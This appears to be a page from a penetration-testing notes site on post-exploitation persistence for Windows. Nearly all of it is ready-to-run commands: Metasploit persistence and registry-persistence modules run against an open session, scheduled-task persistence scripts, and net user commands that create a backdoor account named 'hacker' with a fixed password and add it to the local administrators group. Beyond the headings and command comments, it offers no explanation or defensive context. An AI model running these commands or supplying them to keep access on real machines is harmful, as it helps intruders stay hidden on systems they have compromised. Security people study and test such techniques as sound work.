> For the complete documentation index, see [llms.txt](https://sallam.gitbook.io/sec-88/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sallam.gitbook.io/sec-88/network-sec/post-exploitation/maintaining-access.md).

# Maintaining Access

**Using Metasploit for Persistence**

```bash
# Check available options
run persistence -h

# Example using registry persistence
use exploit/windows/local/registry_persistence
set SESSION <SESSION_NUMBER>
exploit
```

**Scheduled Tasks**

```bash
# Run scheduleme for simple scheduled task creation
run scheduleme

# For more advanced options, use schtaskabuse
run schtaskabuse
```

#### Adding a User

```bash
# Add a user using the net user command
net user hacker password123 /add

# Set additional details for the user
net user hacker /fullname:"Hacker User" /comment:"Added by the attacker" /passwordchg:no

# Add the user to the local administrators group
net localgroup administrators hacker /add
```
